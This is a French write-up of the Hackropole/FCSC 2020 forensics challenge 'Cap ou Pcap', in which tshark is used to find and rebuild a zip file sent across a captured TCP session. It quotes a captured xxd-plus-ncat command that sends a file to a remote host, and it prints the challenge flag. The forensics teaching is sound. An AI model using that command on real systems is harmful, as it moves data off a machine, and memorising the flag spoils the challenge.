Hackropole - Cap ou Pcap

Hackropole - Cap ou Pcap

Introduction :

URL : https://hackropole.fr/fr/challenges/forensics/fcsc2020-forensics-cap-ou-pcap/
Nom du challenge : Cap ou Pcap
Difficulté : Intro
Contexte : Deux machines communiquent entre elles et s’échangent un fichier. L’objectif est d’identifier ce fichier au sein de la capture réseau, puis d’en extraire son contenu.
Format du flag : FCSC{...}

Déroulé / Résolution :

  1. Identification du fichier :

On commence par identifier le type du fichier fourni :

caelinceptus@2600:~/Hackropole/cap_ou_pcap$ file cap.pcap
# -> cap.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

Il s’agit donc d’une capture réseau au format PCAP.

  1. Identification du nombre de sessions TCP :

Nous utilisons tshark pour recenser les flux TCP présents dans la capture :

caelinceptus@2600:~/Hackropole/cap_ou_pcap$ tshark -r cap.pcap -T fields -e tcp.stream |sort -n|uniq

Sortie :

0
1

Deux sessions TCP sont identifiées, ce qui confirme une communication bilatérale entre deux machines, avec potentiellement un échange de fichier.

  1. Analyse de la session TCP 0 :

On suit le premier flux afin d’en visualiser le contenu :

caelinceptus@2600:~/Hackropole/cap_ou_pcap$ tshark -q -nr cap.pcap -z follow,tcp,ascii,0

En sortie :

Follow: tcp,ascii
Filter: tcp.stream eq 0
Node 0: 172.20.20.132:51612
Node 1: 172.20.20.133:2020

id
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
pwd
/home/fcsc
...
ls Documents
flag.zip
...
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
exit

On identifie :

  • Machine 1 → 172.20.20.132
  • Machine 2 → 172.20.20.133

Ainsi qu’un transfert réseau initié via cette commande :

xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200

Décomposition :

  • xxd -p Documents/flag.zip → convertit le fichier binaire en flux hexadécimal ASCII.
  • tr -d '\n' → supprime les retours à la ligne.
  • ncat 172.20.20.133 20200 → envoie le flux hexadécimal sur le port 20200 de la machine distante.
  1. Analyse de la session TCP 1 :

On suit maintenant la deuxième session pour confirmer cette hypothèse :

caelinceptus@2600:~/Hackropole/cap_ou_pcap$ tshark -q -nr cap.pcap -z follow,tcp,ascii,1

En sortie :

504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000
  1. Extraction du contenu du fichier :

Technique 1 : Reconstitution directe via xxd

On reconstitue la charge utile en inversant le processus d’encodage :

tshark -o data.show_as_text:TRUE -r cap.pcap -Y "tcp.dstport == 20200" -T fields -e data.text  |xargs |xxd -r -p - |zmore

Technique 2 : Reconstitution via script Python

Une autre approche consiste à sauvegarder les données hexadécimales et à les écrire dans un fichier binaire :

#!/usr/bin/env python3

data = bytes.fromhex("504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000")

with open("flag.zip", "wb") as f:
    f.write(data)
    print("extraction du fichier flag.zip")

Décompression du fichier obtenu :

caelinceptus@2600:~/Hackropole/cap_ou_pcap$ unzip flag.zip
# -> inflating: flag.txt

caelinceptus@2600:~/Hackropole/cap_ou_pcap$ cat flag.txt
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}

Le flag est donc :

FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}

Conclusion :

Ce challenge introduit les bases de l’analyse réseau à l’aide de Wireshark/Tshark, un outil incontournable pour inspecter les communications entre machines.

Il met en avant les étapes fondamentales suivantes :

  • Identification des sessions TCP à partir d’une capture réseau.
  • Inspection du contenu des flux pour détecter un transfert de données ou un comportement anormal.
  • Extraction et reconstitution d’un fichier à partir d’un flux hexadécimal.
  • Validation du fichier reconstruit afin d’en extraire les données sensibles (ici, le flag).

En résumé, ce challenge démontre comment, à partir d’une simple capture réseau, il est possible de :

  • remonter une session TCP complète,
  • identifier un transfert de fichier caché dans un flux hexadécimal,
  • et reconstituer le fichier original pour en extraire des preuves.

Read more